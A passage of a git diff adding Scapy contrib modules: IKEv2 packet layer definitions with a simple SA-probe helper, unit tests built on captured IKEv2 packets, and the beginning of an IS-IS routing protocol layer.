+            p = p[:24]+struct.pack("!I",len(p))+p[28:]
+        return p
+
+
+class IKEv2_Key_Length_Attribute(IntField):
+    # We only support the fixed-length Key Length attribute (the only one currently defined)
+    def __init__(self, name):
+        IntField.__init__(self, name, 0x800E0000)
+
+    def i2h(self, pkt, x):
+        return IntField.i2h(self, pkt, x & 0xFFFF)
+
+    def h2i(self, pkt, x):
+        return IntField.h2i(self, pkt, x if x !=None else 0 | 0x800E0000)
+
+class IKEv2_payload_Transform(IKEv2_class):
+    name = "IKE Transform"
+    fields_desc = [
+        ByteEnumField("next_payload",None,{0:"last", 3:"Transform"}),
+        ByteField("res",0),
+        ShortField("length",8),
+        ByteEnumField("transform_type",None,IKEv2Transforms),
+        ByteField("res2",0),
+        MultiEnumField("transform_id",None,IKEv2TransformNum,depends_on=lambda pkt:pkt.transform_type,fmt="H"),
+        ConditionalField(IKEv2_Key_Length_Attribute("key_length"), lambda pkt: pkt.length > 8),
+    ]
+
+class IKEv2_payload_Proposal(IKEv2_class):
+    name = "IKEv2 Proposal"
+    fields_desc = [
+        ByteEnumField("next_payload",None,{0:"last", 2:"Proposal"}),
+        ByteField("res",0),
+        FieldLenField("length",None,"trans","H", adjust=lambda pkt,x:x+8+(pkt.SPIsize if pkt.SPIsize else 0)),
+        ByteField("proposal",1),
+        ByteEnumField("proto",1,{1:"IKEv2", 2:"AH", 3:"ESP"}),
+        FieldLenField("SPIsize",None,"SPI","B"),
+        ByteField("trans_nb",None),
+        StrLenField("SPI","",length_from=lambda pkt:pkt.SPIsize),
+        PacketLenField("trans",conf.raw_layer(),IKEv2_payload_Transform,length_from=lambda pkt:pkt.length-8-pkt.SPIsize),
+        ]
+
+
+class IKEv2_payload(IKEv2_class):
+    name = "IKEv2 Payload"
+    fields_desc = [
+        ByteEnumField("next_payload",None,IKEv2_payload_type),
+        FlagsField("flags",0, 8, ["critical","res1","res2","res3","res4","res5","res6","res7"]),
+        FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4),
+        StrLenField("load","",length_from=lambda x:x.length-4),
+        ]
+
+
+class IKEv2_payload_AUTH(IKEv2_class):
+    name = "IKEv2 Authentication"
+    overload_fields = { IKEv2: { "next_payload":39 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,IKEv2_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+8),
+        ByteEnumField("auth_type",None,IKEv2AuthenticationTypes),
+        X3BytesField("res2",0),
+        StrLenField("load","",length_from=lambda x:x.length-8),
+        ]
+
+class IKEv2_payload_VendorID(IKEv2_class):
+    name = "IKEv2 Vendor ID"
+    overload_fields = { IKEv2: { "next_payload":43 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,IKEv2_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"vendorID","H", adjust=lambda pkt,x:x+4),
+        StrLenField("vendorID","",length_from=lambda x:x.length-4),
+        ]
+
+class TrafficSelector(Packet):
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt and len(_pkt) >= 16:
+            ts_type = struct.unpack("!B", _pkt[0:1])[0]
+            if ts_type == 7:
+                return IPv4TrafficSelector
+            elif ts_type == 8:
+                return IPv6TrafficSelector
+            elif ts_type == 9:
+                return EncryptedTrafficSelector
+            else:
+                return RawTrafficSelector
+        return IPv4TrafficSelector
+
+class IPv4TrafficSelector(TrafficSelector):
+    name = "IKEv2 IPv4 Traffic Selector"
+    fields_desc = [
+        ByteEnumField("TS_type",7,IKEv2TrafficSelectorTypes),
+        ByteEnumField("IP_protocol_ID",None,IPProtocolIDs),
+        ShortField("length",16),
+        ShortField("start_port",0),
+        ShortField("end_port",65535),
+        IPField("starting_address_v4","192.168.0.1"),
+        IPField("ending_address_v4","192.168.0.255"),
+        ]
+
+class IPv6TrafficSelector(TrafficSelector):
+    name = "IKEv2 IPv6 Traffic Selector"
+    fields_desc = [
+        ByteEnumField("TS_type",8,IKEv2TrafficSelectorTypes),
+        ByteEnumField("IP_protocol_ID",None,IPProtocolIDs),
+        ShortField("length",20),
+        ShortField("start_port",0),
+        ShortField("end_port",65535),
+        IP6Field("starting_address_v6","2001::"),
+        IP6Field("ending_address_v6","2001::"),
+        ]
+
+class EncryptedTrafficSelector(TrafficSelector):
+    name = "IKEv2 Encrypted Traffic Selector"
+    fields_desc = [
+        ByteEnumField("TS_type",9,IKEv2TrafficSelectorTypes),
+        ByteEnumField("IP_protocol_ID",None,IPProtocolIDs),
+        ShortField("length",16),
+        ByteField("res",0),
+        X3BytesField("starting_address_FC",0),
+        ByteField("res2",0),
+        X3BytesField("ending_address_FC",0),
+        ByteField("starting_R_CTL",0),
+        ByteField("ending_R_CTL",0),
+        ByteField("starting_type",0),
+        ByteField("ending_type",0),
+        ]
+
+class RawTrafficSelector(TrafficSelector):
+    name = "IKEv2 Encrypted Traffic Selector"
+    fields_desc = [
+        ByteEnumField("TS_type",None,IKEv2TrafficSelectorTypes),
+        ByteEnumField("IP_protocol_ID",None,IPProtocolIDs),
+        FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4),
+        PacketField("load", "", Raw)
+        ]
+
+class IKEv2_payload_TSi(IKEv2_class):
+    name = "IKEv2 Traffic Selector - Initiator"
+    overload_fields = { IKEv2: { "next_payload":44 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,IKEv2_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"traffic_selector","H", adjust=lambda pkt,x:x+8),
+        ByteField("number_of_TSs",0),
+        X3BytesField("res2",0),
+        PacketListField("traffic_selector",None,TrafficSelector,length_from=lambda x:x.length-8,count_from=lambda x:x.number_of_TSs),
+        ]
+
+class IKEv2_payload_TSr(IKEv2_class):
+    name = "IKEv2 Traffic Selector - Responder"
+    overload_fields = { IKEv2: { "next_payload":45 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,IKEv2_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"traffic_selector","H", adjust=lambda pkt,x:x+8),
+        ByteField("number_of_TSs",0),
+        X3BytesField("res2",0),
+        PacketListField("traffic_selector",None,TrafficSelector,length_from=lambda x:x.length-8,count_from=lambda x:x.number_of_TSs),
+        ]
+
+class IKEv2_payload_Delete(IKEv2_class):
+    name = "IKEv2 Vendor ID"
+    overload_fields = { IKEv2: { "next_payload":42 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,IKEv2_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"vendorID","H", adjust=lambda pkt,x:x+4),
+        StrLenField("vendorID","",length_from=lambda x:x.length-4),
+        ]
+
+class IKEv2_payload_SA(IKEv2_class):
+    name = "IKEv2 SA"
+    overload_fields = { IKEv2: { "next_payload":33 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,IKEv2_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"prop","H", adjust=lambda pkt,x:x+4),
+        PacketLenField("prop",conf.raw_layer(),IKEv2_payload_Proposal,length_from=lambda x:x.length-4),
+        ]
+
+class IKEv2_payload_Nonce(IKEv2_class):
+    name = "IKEv2 Nonce"
+    overload_fields = { IKEv2: { "next_payload":40 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,IKEv2_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4),
+        StrLenField("load","",length_from=lambda x:x.length-4),
+        ]
+
+class IKEv2_payload_Notify(IKEv2_class):
+    name = "IKEv2 Notify"
+    overload_fields = { IKEv2: { "next_payload":41 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,IKEv2_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+8),
+        ByteEnumField("proto",None,{0:"Reserved",1:"IKE",2:"AH", 3:"ESP"}),
+        FieldLenField("SPIsize",None,"SPI","B"),
+        ShortEnumField("type",0,IKEv2NotifyMessageTypes),
+        StrLenField("SPI","",length_from=lambda x:x.SPIsize),
+        StrLenField("load","",length_from=lambda x:x.length-8),
+        ]
+
+class IKEv2_payload_KE(IKEv2_class):
+    name = "IKEv2 Key Exchange"
+    overload_fields = { IKEv2: { "next_payload":34 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,IKEv2_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+8),
+        ShortEnumField("group", 0, IKEv2TransformTypes['GroupDesc'][1]),
+        ShortField("res2", 0),
+        StrLenField("load","",length_from=lambda x:x.length-8),
+        ]
+
+class IKEv2_payload_IDi(IKEv2_class):
+    name = "IKEv2 Identification - Initiator"
+    overload_fields = { IKEv2: { "next_payload":35 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,IKEv2_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"load","H",adjust=lambda pkt,x:x+8),
+        ByteEnumField("IDtype",1,{1:"IPv4_addr", 2:"FQDN", 3:"Email_addr", 5:"IPv6_addr", 11:"Key"}),
+        ByteEnumField("ProtoID",0,{0:"Unused"}),
+        ShortEnumField("Port",0,{0:"Unused"}),
+#        IPField("IdentData","127.0.0.1"),
+        StrLenField("load","",length_from=lambda x:x.length-8),
+        ]
+
+class IKEv2_payload_IDr(IKEv2_class):
+    name = "IKEv2 Identification - Responder"
+    overload_fields = { IKEv2: { "next_payload":36 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,IKEv2_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"load","H",adjust=lambda pkt,x:x+8),
+        ByteEnumField("IDtype",1,{1:"IPv4_addr", 2:"FQDN", 3:"Email_addr", 5:"IPv6_addr", 11:"Key"}),
+        ByteEnumField("ProtoID",0,{0:"Unused"}),
+        ShortEnumField("Port",0,{0:"Unused"}),
+#        IPField("IdentData","127.0.0.1"),
+        StrLenField("load","",length_from=lambda x:x.length-8),
+        ]
+
+class IKEv2_payload_Encrypted(IKEv2_class):
+    name = "IKEv2 Encrypted and Authenticated"
+    overload_fields = { IKEv2: { "next_payload":46 }}
+    fields_desc = [
+        ByteEnumField("next_payload",None,IKEv2_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"load","H",adjust=lambda pkt,x:x+4),
+        StrLenField("load","",length_from=lambda x:x.length-4),
+        ]
+
+class IKEv2_payload_Encrypted_Fragment(IKEv2_class):
+    name = "IKEv2 Encrypted Fragment"
+    overload_fields = {IKEv2: {"next_payload": 53}}
+    fields_desc = [
+        ByteEnumField("next_payload", None, IKEv2_payload_type),
+        ByteField("res", 0),
+        FieldLenField("length", None, "load", "H", adjust=lambda pkt, x: x+8),
+        ShortField("frag_number", 1),
+        ShortField("frag_total", 1),
+        StrLenField("load", "", length_from=lambda x: x.length-8),
+        ]
+
+class IKEv2_payload_CERTREQ(IKEv2_class):
+    name = "IKEv2 Certificate Request"
+    fields_desc = [
+        ByteEnumField("next_payload",None,IKEv2_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"cert_data","H",adjust=lambda pkt,x:x+5),
+        ByteEnumField("cert_type",0,IKEv2CertificateEncodings),
+        StrLenField("cert_data","",length_from=lambda x:x.length-5),
+        ]
+
+class IKEv2_payload_CERT(IKEv2_class):
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt and len(_pkt) >= 16:
+            ts_type = struct.unpack("!B", _pkt[4:5])[0]
+            if ts_type == 4:
+                return IKEv2_payload_CERT_CRT
+            elif ts_type == 7:
+                return IKEv2_payload_CERT_CRL
+            else:
+                return IKEv2_payload_CERT_STR
+        return IKEv2_payload_CERT_STR
+
+class IKEv2_payload_CERT_CRT(IKEv2_payload_CERT):
+    name = "IKEv2 Certificate"
+    fields_desc = [
+        ByteEnumField("next_payload",None,IKEv2_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"x509Cert","H",adjust=lambda pkt,x: x+len(pkt.x509Cert)+5),
+        ByteEnumField("cert_type",4,IKEv2CertificateEncodings),
+        PacketLenField("x509Cert", X509_Cert(''), X509_Cert, length_from=lambda x:x.length-5),
+        ]
+
+class IKEv2_payload_CERT_CRL(IKEv2_payload_CERT):
+    name = "IKEv2 Certificate"
+    fields_desc = [
+        ByteEnumField("next_payload",None,IKEv2_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"x509CRL","H",adjust=lambda pkt,x: x+len(pkt.x509CRL)+5),
+        ByteEnumField("cert_type",7,IKEv2CertificateEncodings),
+        PacketLenField("x509CRL", X509_CRL(''), X509_CRL, length_from=lambda x:x.length-5),
+        ]
+
+class IKEv2_payload_CERT_STR(IKEv2_payload_CERT):
+    name = "IKEv2 Certificate"
+    fields_desc = [
+        ByteEnumField("next_payload",None,IKEv2_payload_type),
+        ByteField("res",0),
+        FieldLenField("length",None,"cert_data","H",adjust=lambda pkt,x: x+5),
+        ByteEnumField("cert_type",0,IKEv2CertificateEncodings),
+        StrLenField("cert_data","",length_from=lambda x:x.length-5),
+        ]
+
+IKEv2_payload_type_overload = {}
+for i, payloadname in enumerate(IKEv2_payload_type):
+    name = "IKEv2_payload_%s" % payloadname
+    if name in globals():
+        IKEv2_payload_type_overload[globals()[name]] = {"next_payload": i}
+
+del i, payloadname, name
+IKEv2_class._overload_fields = IKEv2_payload_type_overload.copy()
+
+split_layers(UDP, ISAKMP, sport=500)
+split_layers(UDP, ISAKMP, dport=500)
+
+bind_layers( UDP,           IKEv2,        dport=500, sport=500) # TODO: distinguish IKEv1/IKEv2
+bind_layers( UDP,           IKEv2,        dport=4500, sport=4500)
+
+def ikev2scan(ip, **kwargs):
+    """Send a IKEv2 SA to an IP and wait for answers."""
+    return sr(IP(dst=ip)/UDP()/IKEv2(init_SPI=RandString(8),
+                                      exch_type=34)/IKEv2_payload_SA(prop=IKEv2_payload_Proposal()), **kwargs)
diff --git a/scapy/contrib/ikev2.uts b/scapy/contrib/ikev2.uts
new file mode 100644
index 0000000..331bdcd
--- /dev/null
+++ b/scapy/contrib/ikev2.uts
@@ -0,0 +1,89 @@
+% Ikev2 Tests
+* Tests for the Ikev2 layer
+
++ Basic Layer Tests
+
+= Ikev2 build
+
+a = IKEv2()
+assert raw(a) == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c'
+
+= Ikev2 dissection
+
+a = IKEv2(b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00! \x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x14\x00\x00\x00\x10\x01\x01\x00\x00\x00\x00\x00\x08\x02\x00\x00\x03")
+assert a[IKEv2_payload_Transform].transform_type == 2
+assert a[IKEv2_payload_Transform].transform_id == 3
+assert a.next_payload == 33
+assert a[IKEv2_payload_SA].next_payload == 0
+assert a[IKEv2_payload_Proposal].next_payload == 0
+assert a[IKEv2_payload_Proposal].proposal == 1
+assert a[IKEv2_payload_Transform].next_payload == 0
+a[IKEv2_payload_Transform].show()
+
+
+= Build Ikev2 SA request packet
+
+a = IKEv2(init_SPI="MySPI",exch_type=34)/IKEv2_payload_SA(prop=IKEv2_payload_Proposal())
+assert raw(a) == b'MySPI\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00! "\x00\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x0c\x00\x00\x00\x08\x01\x01\x00\x00'
+
+
+## packets taken from
+## https://github.com/wireshark/wireshark/blob/master/test/captures/ikev2-decrypt-aes128ccm12.pcap
+
+= Dissect Initiator Request
+
+a = Ether(b'\x00!k\x91#H\xb8\'\xeb\xa6XI\x08\x00E\x00\x01\x14u\xc2@\x00@\x11@\xb6\xc0\xa8\x01\x02\xc0\xa8\x01\x0e\x01\xf4\x01\xf4\x01\x00=8\xeahM!Yz\xfd6\x00\x00\x00\x00\x00\x00\x00\x00! "\x08\x00\x00\x00\x00\x00\x00\x00\xf8"\x00\x00(\x00\x00\x00$\x01\x01\x00\x03\x03\x00\x00\x0c\x01\x00\x00\x0f\x80\x0e\x00\x80\x03\x00\x00\x08\x02\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x13(\x00\x00H\x00\x13\x00\x002\xc6\xdf\xfe\\C\xb0\xd5\x81\x1f~\xaa\xa8L\x9fx\xbf\x99\xb9\x06\x9c+\x07.\x0b\x82\xf4k\xf6\xf6m\xd4_\x97\xef\x89\xee(_\xd5\xdfRzDwkR\x9f\xc9\xd8\xa9\t\xd8B\xa6\xfbY\xb9j\tS\x95ar)\x00\x00$\xb6UF-oKf\xf8r\xcc\xd7\xf0\xf4\xb4\x85w2\x92\x139\xcb\xaaR7\xed\xba$O&+h#)\x00\x00\x1c\x00\x00@\x04\x94\x9c\x9d\xb5s\x9du\xa9t\xa4\x9c\x18F\x186\x9b4\xb7\xf9B)\x00\x00\x1c\x00\x00@\x05>r\x1bF\xbe\x07\xd51\x11B]\x7f\x80\xd2\xc6\xe2 \xc6\x07.\x00\x00\x00\x10\x00\x00@/\x00\x01\x00\x02\x00\x03\x00\x04')
+assert a[IKEv2_payload_SA].prop.trans.transform_id == 15
+assert a[IKEv2_payload_Notify].next_payload == 41
+assert IP(a[IKEv2_payload_Notify].load).src == "70.24.54.155"
+assert IP(a[IKEv2_payload_Notify].payload.load).dst == "32.198.7.46"
+
+= Dissect Responder Response
+
+b = Ether(b'\xb8\'\xeb\xa6XI\x00!k\x91#H\x08\x00E\x00\x01\x0c\xd2R@\x00@\x11\xe4-\xc0\xa8\x01\x0e\xc0\xa8\x01\x02\x01\xf4\x01\xf4\x00\xf8\x07\xdd\xeahM!Yz\xfd6\xd9\xfe*\xb2-\xac#\xac! " \x00\x00\x00\x00\x00\x00\x00\xf0"\x00\x00(\x00\x00\x00$\x01\x01\x00\x03\x03\x00\x00\x0c\x01\x00\x00\x0f\x80\x0e\x00\x80\x03\x00\x00\x08\x02\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x13(\x00\x00H\x00\x13\x00\x00,f\xbe\xad\xb6\xce\x855\xd6!\x8c\xb4\x01\xaaZ\x1e\xb4\x03[\x97\xca\xdd\xaf67J\x97\x9c\x04F\xb8\x80\x05\x06\xbf\x9do\x95\tR2k\xf3\x01\x19\x13\xda\x93\xbb\x8e@\xf8\x157k\xe1\xa0h\x01\xc0\xa6>;T)\x00\x00$\x9e]&sy\xe6\x81\xe7\xd3\x8d\x81\xc7\x10\xd3\x83@\x1d\xe7\xe3`{\x92m\x90\xa9\x95\x8a\xdc\xb5(1\xaa)\x00\x00\x1c\x00\x00@\x04z\x07\x85\'=Y 8)\xa6\x97U\x0f1\xcb\xb9N\xb7+C)\x00\x00\x1c\x00\x00@\x05\xc3\xe5\x8a\x8c\xc9\x93<\xe0\xb7\x8f*P\xe8\xde\x80\x13N\x12\xce1\x00\x00\x00\x08\x00\x00@\x14')
+assert b[UDP].dport == 500
+assert b[IKEv2_payload_KE].load == b',f\xbe\xad\xb6\xce\x855\xd6!\x8c\xb4\x01\xaaZ\x1e\xb4\x03[\x97\xca\xdd\xaf67J\x97\x9c\x04F\xb8\x80\x05\x06\xbf\x9do\x95\tR2k\xf3\x01\x19\x13\xda\x93\xbb\x8e@\xf8\x157k\xe1\xa0h\x01\xc0\xa6>;T'
+assert b[IKEv2_payload_Nonce].payload.type == 16388
+assert b[IKEv2_payload_Nonce].payload.payload.payload.next_payload == 0
+
+= Dissect Encrypted Inititor Request
+
+a = Ether(b"\x00!k\x91#H\xb8'\xeb\xa6XI\x08\x00E\x00\x00Yu\xe2@\x00@\x11AQ\xc0\xa8\x01\x02\xc0\xa8\x01\x0e\x01\xf4\x01\xf4\x00E}\xe0\xeahM!Yz\xfd6\xd9\xfe*\xb2-\xac#\xac. %\x08\x00\x00\x00\x02\x00\x00\x00=*\x00\x00!\xcc\xa0\xb3]\xe5\xab\xc5\x1c\x99\x87\xcb\xf1\xf5\xec\xff!\x0e\xb7g\xcd\xb8Qy8;\x96Mx\xe2")
+assert a[IKEv2_payload_Encrypted].next_payload == 42
+assert a[IKEv2_payload_Encrypted].load == b'\xcc\xa0\xb3]\xe5\xab\xc5\x1c\x99\x87\xcb\xf1\xf5\xec\xff!\x0e\xb7g\xcd\xb8Qy8;\x96Mx\xe2'
+
+= Dissect Encrypted Responder Response
+
+b = Ether(b"\xb8'\xeb\xa6XI\x00!k\x91#H\x08\x00E\x00\x00Q\xd5y@\x00@\x11\xe1\xc1\xc0\xa8\x01\x0e\xc0\xa8\x01\x02\x01\xf4\x01\xf4\x00=\xf9F\xeahM!Yz\xfd6\xd9\xfe*\xb2-\xac#\xac. % \x00\x00\x00\x02\x00\x00\x005\x00\x00\x00\x19\xa8\x0c\x95{\xac\x15\xc3\xf8\xaf\xdf1Z\x81\xccK|@\xe8f\rD")
+assert b[IKEv2].init_SPI == b'\xeahM!Yz\xfd6'
+assert b[IKEv2].resp_SPI == b'\xd9\xfe*\xb2-\xac#\xac'
+assert b[IKEv2].next_payload == 46
+assert b[IKEv2_payload_Encrypted].load == b'\xa8\x0c\x95{\xac\x15\xc3\xf8\xaf\xdf1Z\x81\xccK|@\xe8f\rD'
+
+= Test Certs detection
+
+a = IKEv2_payload_CERT(raw(IKEv2_payload_CERT_CRL()))
+b = IKEv2_payload_CERT(raw(IKEv2_payload_CERT_STR()))
+c = IKEv2_payload_CERT(raw(IKEv2_payload_CERT_CRT()))
+
+assert isinstance(a, IKEv2_payload_CERT_CRL)
+assert isinstance(b, IKEv2_payload_CERT_STR)
+assert isinstance(c, IKEv2_payload_CERT_CRT)
+
+= Test TrafficSelector detection
+
+a = TrafficSelector(raw(IPv4TrafficSelector()))
+b = TrafficSelector(raw(IPv6TrafficSelector()))
+c = TrafficSelector(raw(EncryptedTrafficSelector()))
+
+assert isinstance(a, IPv4TrafficSelector)
+assert isinstance(b, IPv6TrafficSelector)
+assert isinstance(c, EncryptedTrafficSelector)
+
+= IKEv2_payload_Encrypted_Fragment, simple tests
+
+s = b"\x00\x00\x00\x08\x00\x01\x00\x01"
+assert raw(IKEv2_payload_Encrypted_Fragment()) == s
+
+p = IKEv2_payload_Encrypted_Fragment(s)
+assert p.length == 8 and p.frag_number == 1
diff --git a/scapy/contrib/isis.py b/scapy/contrib/isis.py
new file mode 100644
index 0000000..877e280
--- /dev/null
+++ b/scapy/contrib/isis.py
@@ -0,0 +1,881 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = ISIS
+# scapy.contrib.status = loads
+
+"""
+    IS-IS Scapy Extension
+    ~~~~~~~~~~~~~~~~~~~~~
+
+    :copyright: 2014-2016 BENOCS GmbH, Berlin (Germany)
+    :author:    Marcel Patzlaff, mpatzlaff@benocs.com
+                Michal Kaliszan, mkaliszan@benocs.com
+    :license:   GPLv2
+
+        This module is free software; you can redistribute it and/or
+        modify it under the terms of the GNU General Public License
+        as published by the Free Software Foundation; either version 2
+        of the License, or (at your option) any later version.
+
+        This module is distributed in the hope that it will be useful,
+        but WITHOUT ANY WARRANTY; without even the implied warranty of
+        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+        GNU General Public License for more details.
+
+    :description:
+
+        This module provides Scapy layers for the Intermediate System
+        to Intermediate System routing protocol as defined in RFC 1195.
+
+        Currently it (partially) supports the packaging/encoding
+        requirements of the following RFCs:
+         * RFC 1195 (only the TCP/IP related part)
+         * RFC 3358 (optional checksums)
+         * RFC 5301 (dynamic hostname extension)
+         * RFC 5302 (domain-wide prefix distribution)
+         * RFC 5303 (three-way handshake)
+         * RFC 5304 (cryptographic authentication)
+         * RFC 5308 (routing IPv6 with IS-IS)
+
+    :TODO:
+
+        - packet relations (requests, responses)
+        - support for recent RFCs:
+          * RFC 5305 (traffic engineering)
+          * RFC 5307 (support for G-MPLS)
+          * RFC 5310 (generic cryptographic authentication)
+          * RFC 5316 (inter-AS MPLS and G-MPLS TE)
+
+"""
+
+from __future__ import absolute_import
+import struct
+import random
+
+from scapy.config import conf
+from scapy.fields import *
+from scapy.packet import *
+from scapy.layers.clns import network_layer_protocol_ids, register_cln_protocol
+from scapy.layers.inet6 import IP6ListField, IP6Field
+from scapy.utils import fletcher16_checkbytes
+from scapy.volatile import RandString, RandByte
+import random
+from scapy.modules.six.moves import range
+from scapy.compat import raw
+
+EXT_VERSION = "v0.0.2"
+
+conf.debug_dissector = True
+
+
+#######################################################################
+##  ISIS Utilities + Fields                                          ##
+#######################################################################
+def isis_area2str(area):
+    return b"".join(hex_bytes(x) for x in area.split("."))
+
+
+def isis_str2area(s):
+    if len(s) == 0:
+        return ""
+
+    numbytes = len(s[1:])
+    fmt = "%02X" + (".%02X%02X" * (numbytes // 2)) + ("" if (numbytes % 2) == 0 else ".%02X")
+    return fmt % tuple(orb(x) for x in s)
+
+
+def isis_sysid2str(sysid):
+    return b"".join(hex_bytes(x) for x in sysid.split("."))
+
+
+def isis_str2sysid(s):
+    return ("%02X%02X."*3)[:-1] % tuple(orb(x) for x in s)
+
+
+def isis_nodeid2str(nodeid):
+    return isis_sysid2str(nodeid[:-3]) + hex_bytes(nodeid[-2:])
+
+
+def isis_str2nodeid(s):
+    return "%s.%02X" % (isis_str2sysid(s[:-1]), orb(s[-1]))
+
+
+def isis_lspid2str(lspid):
+    return isis_nodeid2str(lspid[:-3]) + hex_bytes(lspid[-2:])
+
+
+def isis_str2lspid(s):
+    return "%s-%02X" % (isis_str2nodeid(s[:-1]), orb(s[-1]))
+
+
+class _ISIS_IdFieldBase(Field):
+    __slots__ = ["to_str", "to_id", "length"]
+    def __init__(self, name, default, length, to_str, to_id):
+        self.to_str = to_str
+        self.to_id = to_id
+        self.length = length
+        Field.__init__(self, name, default, "%is" % length)
+
+    def i2m(self, pkt, x):
+        if x is None:
+            return b"\0"*self.length
+
+        return self.to_str(x)
+
+    def m2i(self, pkt, x):
+        return self.to_id(x)
+
+    def any2i(self, pkt, x):
+        if isinstance(x, str) and len(x) == self.length:
+            return self.m2i(pkt, x)
+
+        return x
+
+
+class _ISIS_RandId(RandString):
+    def __init__(self, template):
+        self.bytecount = template.count("*")
+        self.format = template.replace("*", "%02X")
+
+    def _fix(self):
+        if self.bytecount == 0:
+            return ""
+
+        val = ()
+
+        for _ in range(self.bytecount):
+            val += (RandByte(),)
+
+        return self.format % val
+
+
+class _ISIS_RandAreaId(_ISIS_RandId):
+    def __init__(self, bytecount= None):
+        self.bytecount = random.randint(1, 13) if bytecount is None else bytecount
+        self.format = "%02X" + (".%02X%02X" * ((self.bytecount-1) // 2)) + ("" if ((self.bytecount-1) % 2) == 0 else ".%02X")
+
+
+class ISIS_AreaIdField(Field):
+    __slots__ = ["length_from"]
+
+    def __init__(self, name, default, length_from):
+        Field.__init__(self, name, default)
+        self.length_from = length_from
+
+    def i2m(self, pkt, x):
+        return isis_area2str(x)
+
+    def m2i(self, pkt, x):
+        return isis_str2area(x)
+
+    def i2len(self, pkt, x):
+        if x is None:
+            return 0
+        l = len(x)
+        # l/5 is the number of dots in the Area ID
+        return (l - (l // 5)) // 2
+
+    def addfield(self, pkt, s, val):
+        sval = self.i2m(pkt, val)
+        return s+struct.pack("!%is" % len(sval), sval)
+
+    def getfield(self, pkt, s):
+        numbytes = self.length_from(pkt)
+        return s[numbytes:], self.m2i(pkt, struct.unpack("!%is" % numbytes, s[:numbytes])[0])
+
+    def randval(self):
+        return _ISIS_RandAreaId()
+
+
+class ISIS_SystemIdField(_ISIS_IdFieldBase):
+    def __init__(self, name, default):
+        _ISIS_IdFieldBase.__init__(self, name, default, 6, isis_sysid2str, isis_str2sysid)
+
+    def randval(self):
+        return _ISIS_RandId("**.**.**")
+
+
+class ISIS_NodeIdField(_ISIS_IdFieldBase):
+    def __init__(self, name, default):
+        _ISIS_IdFieldBase.__init__(self, name, default, 7, isis_nodeid2str, isis_str2nodeid)
+
+    def randval(self):
+        return _ISIS_RandId("**.**.**.*")
+
+
+class ISIS_LspIdField(_ISIS_IdFieldBase):
+    def __init__(self, name, default):
+        _ISIS_IdFieldBase.__init__(self, name, default, 8, isis_lspid2str, isis_str2lspid)
+
+    def randval(self):
+        return _ISIS_RandId("**.**.**.*-*")
+
+
+class ISIS_CircuitTypeField(FlagsField):
+    def __init__(self, name="circuittype", default=2, size=8,
+                 names=None):
+        if names is None:
+            names = ["L1", "L2", "r0", "r1", "r2", "r3", "r4", "r5"]
+        FlagsField.__init__(self, name, default, size, names)
+
+
+def _ISIS_GuessTlvClass_Helper(tlv_classes, defaultname, p, **kargs):
+    cls = conf.raw_layer
+    if len(p) >= 2:
+        tlvtype = orb(p[0])
+        clsname = tlv_classes.get(tlvtype, defaultname)
+        cls = globals()[clsname]
+
+    return cls(p, **kargs)
+
+
+class _ISIS_GenericTlv_Base(Packet):
+    fields_desc = [ByteField("type", 0),
+                   FieldLenField("len", None, length_of="val", fmt="B"),
+                   BoundStrLenField("val", "", length_from=lambda pkt: pkt.len)]
+
+    def guess_payload_class(self, p):
+        return conf.padding_layer
+
+
+class ISIS_GenericTlv(_ISIS_GenericTlv_Base):
+    name = "ISIS Generic TLV"
+
+
+class ISIS_GenericSubTlv(_ISIS_GenericTlv_Base):
+    name = "ISIS Generic Sub-TLV"
+
+
+#######################################################################
